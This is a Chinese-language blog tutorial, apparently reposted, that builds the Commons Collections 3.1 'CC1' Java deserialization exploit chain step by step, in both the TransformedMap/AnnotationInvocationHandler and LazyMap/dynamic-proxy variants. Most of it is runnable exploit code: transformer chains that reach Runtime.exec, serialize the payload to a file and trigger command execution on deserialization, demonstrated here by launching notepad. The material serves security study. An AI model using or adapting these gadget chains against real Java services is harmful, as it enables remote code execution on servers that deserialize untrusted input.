目錄
- 前言
- commons-collections(CC)
- 構造利用鏈
- 第一步 InvokerTransformer
- 第二步 ChainedTransformer
- 第三步 ConstantTransformer
- 第四步 服務端生成Runtime實體
- 上Map
- 第五步 TransformedMap
- 第六步 AnnotationInvocationHandler的readObject復寫點
- 第五步 Lazymap
- 第六步 動態代理
- 總結
前言
可能之前看Java CC1鏈的文章留下了有陰影把,有TransformedMap玩法,還有Lazymap玩法,最侄訓得借助AnnotationInvocationHandler或這動態代理,看著就頭大,所以拖了一段時間,沒辦法,最侄訓是來了,洞一直在更新,我不加快節奏干洞,洞要給我說再見,這就很難受,不鬧了,這篇文章主要是CC1鏈和那兩種玩法
commons-collections(CC)
首先,還是先說下這個CC把,我感覺我就和Lazymap差不多,找不到圖了在敲字
功能:為Java標準的Collections API提供了相當好的補充,在此基礎上對其常用的資料結構操作進行了很好的封裝、抽象和補充,保證性能的同時大大簡化代碼,
此包的類包含下面兩個


重要的就這兩個類Map、Transformer把,我感覺
下來包的問題,直接上maven倉庫拉就好了

最重要的一點:CC包版本3.1-3.2.1,別看3.0和3.1,差個0.1,最終可能彈不出記事本,我這次用的是3.1
構造利用鏈
建議使用jdk7,8可能會出錯
第一步 InvokerTransformer
反射機制觸發函式InvokerTransformer類的transform(Object input)
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName; //函式名
this.iParamTypes = paramTypes; //函式引數的型別
this.iArgs = args; //引數物件
}
public Object transform(Object input) {
Class cls = input.getClass(); //獲取input的類
Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //呼叫方法
return method.invoke(input, this.iArgs); //執行
}

通過之前的文章Java反序列化之反射機制(https://blog.csdn.net/xd_2021/article/details/121777766),我們可以構造一個命令執行
public static void main(String[] args) throws Exception {
//payload
InvokerTransformer x = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"notepad"});
//服務端
Object d = Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(Class.forName("java.lang.Runtime"));
x.transform(d);
}

但是,這似乎不太現實,服務端給咱專門來個
Object d = Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”))
還得接著優化
第二步 ChainedTransformer
接下來我們看這個類ChainedTransformer的transform函式
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
由此函式可知,輸入的物件會給第一個轉化器,轉換結果會被輸入到第二個轉換器,以此類推
在看ChainedTransformer類的建構式,發現iTransformers陣列是用戶自己定義的
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
接下來我們構造一下,也是運行了
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
//服務端
Object a = Class.forName("java.lang.Runtime")
.getMethod("getRuntime")
.invoke(Class.forName("java.lang.Runtime"));
d.transform(a);
}

看似和第一步沒什么區別,其實是為后面做鋪墊
第三步 ConstantTransformer
ConstantTransformer類跟InvokkerTransformer一樣繼承Transforme父類,可以進入陣列,主要看該類的下面兩個函式
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
在此對其修改,由于Runtime.getRuntime()實體已經放進payload里面,transform函式有無引數都不重要,因為ConstantTransformer類的transform函式會返會iConstant值,也就是最開始我們建構式設定好的
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
//payload序列化寫入檔案,當作網路傳輸
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(d);
//服務端反序列化payload讀取
FileInputStream f1 = new FileInputStream("payload.bin");
ObjectInputStream f2 = new ObjectInputStream(f1);
Transformer a = (ChainedTransformer) f2.readObject();
d.transform(null);
}
這次之所以這樣寫,是因為前面的序列化和不序列化結果都一樣,這次如果不序列化,看不出問題

果然報錯,Runtime類的定義沒有繼承Serializable類,是不支持反序列化的,請注意
第四步 服務端生成Runtime實體
Runtime的實體是通過Runtime.getRuntime()來獲取的,而InvokerTransformer里面的反射機制可以執行任意函式,我們讓其執行getRuntime讓其成為實體
當把陣列修改成如下
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
結果報錯了,跟蹤一下

由于是類緣故,所以input.getClass獲取的是java.lang.Class

調整一下,套波娃,借用getMethod方法執行getRuntime
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
跟蹤到x[1]進去transform函式,發現獲取的類還不是Runtime實體

在對其調整,套娃在套娃
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
于是乎成功了

其實是等同于反射陳述句
public static void main(String[] args) throws Exception {
//x[0],object=""
Class s = Class.forName("java.lang.Class");
//x[1],object="java.lang.Runtime"
Object o = s.getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Class.forName("java.lang.Runtime"), "getRuntime", new Class[0]);
System.out.println(o + "\n\n");
//x[2],object="java.lang.Runtime.getRuntime()"
s = o.getClass();
o = s.getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(o, null, new Object[0]);
System.out.println(s + "\n" + o + "\n\n");
//x[3],object=
Object o1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
System.out.println(o1);
}

可以看出,O和O1結果是一樣的,但是服務端應該也不會執行
Transformer a = (ChainedTransformer) f2.readObject();
d.transform(null);
這欸,還得繼續優化
上Map
這里有兩種map都可以實作,一種是TransformedMap,另一種Lazymap,ysoserial用的是第二種,下面我會分別聊這兩種實作方法
第五步 TransformedMap
首先,先看下TransformedMap類發現,當該類在呼叫put函式時,會執行transform函式,最后的執行結果會被添加到map里
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
于是乎,我就嘗試了下
interface Test extends Transformer {
public Object transform(Object input);
}
class Test1 implements Test, Transformer {
public Object transform(Object input) {
return "x";
}
}
class Test2 implements Test {
public Object transform(Object input) {
return "d";
}
}
public class cc1 {
public static void main(String[] args) throws Exception {
Map innerMap = new HashMap();
System.out.println(innerMap);
Map map = TransformedMap.decorate(innerMap, new Test1(), new Test2());
map.put("value", "value");
System.out.println(map);
}
}
結果也是和我想象一樣,map輸出為{x=d}

借助這個類我們修改一下,在嘗試一次
public class cc1 {
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
Map map = new HashMap();
map.put("value", "value");
Map map1 = TransformedMap.decorate(map, null, d);
//payload序列化寫入檔案,當作網路傳輸
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(map1);
//服務端反序列化payload讀取
FileInputStream f1 = new FileInputStream("payload.bin");
ObjectInputStream f2 = new ObjectInputStream(f1);
Map map2 = (Map) f2.readObject();
map2.put("value", "1");
}
}

這就很奈斯,服務端執行map應該問題不大,put也很合理,但是我們是一個追求完美的人,讓它只執行一個readObject就彈
第六步 AnnotationInvocationHandler的readObject復寫點
看看AnnotationInvocationHandler類下的readObject函式,發現在里面有賦值操作var5.setValue,不管它值是什么總之只要賦值就能執行我們的命令
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
順勢改下代碼,
由于AnnotationInvocationHandler類的建構式的第一個引數繼承Annotation,所以第一個變數可以在改包底選一個,即可
public class cc1 {
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
Map map = new HashMap();
map.put("key", "key");
Map map1 = TransformedMap.decorate(map, null, d);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);
ct.setAccessible(true);
Object o = ct.newInstance(Documented.class, map1);
//payload序列化寫入檔案,當作網路傳輸
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(o);
//服務端反序列化payload讀取
FileInputStream f1 = new FileInputStream("payload.bin");
ObjectInputStream f2 = new ObjectInputStream(f1);
f2.readObject();
}
}
發現var3里面有一組map資料,會把用戶輸入的map資料的每一組key值在其var3在尋找有無key值有則不為空,進入判斷則可執行

我感覺可能是因為這點,所以ysoserial沒采用這種
第五步 Lazymap
看看Lazymap類,發現其get函式在獲取key所對應的資料時,如果當key不存在,則呼叫transform函式,并把執行結果作為該key所對應的資料,并添加到到map里面
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
用這個map改的話,就這樣
public class cc1 {
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
Map map = new HashMap();
Map map1 = LazyMap.decorate(map, d);
map1.get("key");
}
}

還是不完美
第六步 動態代理
我們看一段代碼,運行發現,程式執行了invoke方法
class expHandler implements InvocationHandler {
protected Map map;
public expHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("put") == 0) {
System.out.println("Hook Method: " + method.getName());
map.put("hi", "xd");
}
return method.invoke(this.map, args);
}
}
public class cc1 {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new expHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
proxyMap.put("hi", "sir");
System.out.println(proxyMap);
}
發現輸出的結果是先去執行invoke,當匹配不到,則按正常執行
AnnotationInvocationHandler類其實和InvocationHandler差不多里都有invoke,AnnotationInvocationHandler類下的invoke里面使用的get函式,所以從這塊切入
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
通過這些,我們修改代碼
public class cc1 {
public static void main(String[] args) throws Exception {
//payload
Transformer[] x = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"})
};
Transformer d = new ChainedTransformer(x);
Map map = new HashMap();
Map map1 = LazyMap.decorate(map, d);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class);
ct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = ct.newInstance(Target.class, proxyMap); //這樣寫也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap);
//payload序列化寫入檔案,當作網路傳輸
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(o); //如果用的后面那種,則把o換成handler
//服務端反序列化payload讀取
FileInputStream f1 = new FileInputStream("payload.bin");
ObjectInputStream f2 = new ObjectInputStream(f1);
f2.readObject();
}
}

總結
最終,也是都成功了,相對來說TransformedMap需要設定特定值,但是在最后一步的時候好理解,Lazymap前面不需要什么,就是在后面動態代理時候,有點想不通
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/384146.html
標籤:其他
